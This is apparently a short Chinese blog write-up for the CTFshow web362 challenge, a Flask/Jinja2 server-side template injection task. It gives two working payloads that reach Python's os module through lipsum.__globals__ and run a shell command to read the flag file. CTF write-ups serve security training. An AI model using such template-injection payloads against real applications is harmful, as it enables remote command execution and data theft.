CTF SSTI flask jinja2 python 每日一题 —— [CTFshow]web362¶ 题目地址:https://ctf.show/challenges#web361-845 开始过滤了,似乎过滤了中括号,以及{{}}, 所以我们使用 {%print()%}, 这里我们使用 lipsum 方法。这个方法里有 os 模块,所以我们直接构造出 payload : ?name={%print(lipsum.__globals__.get('os').popen('cat /flag').read())%} 经过各位大佬的 WP 验证, 这次并没有过滤 {{}}, 而是过滤了部分数字,因此无法使用之前的方法来定位到 os 模块。但是可以让 payload 更简化: ?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}} 文章热度:0次阅读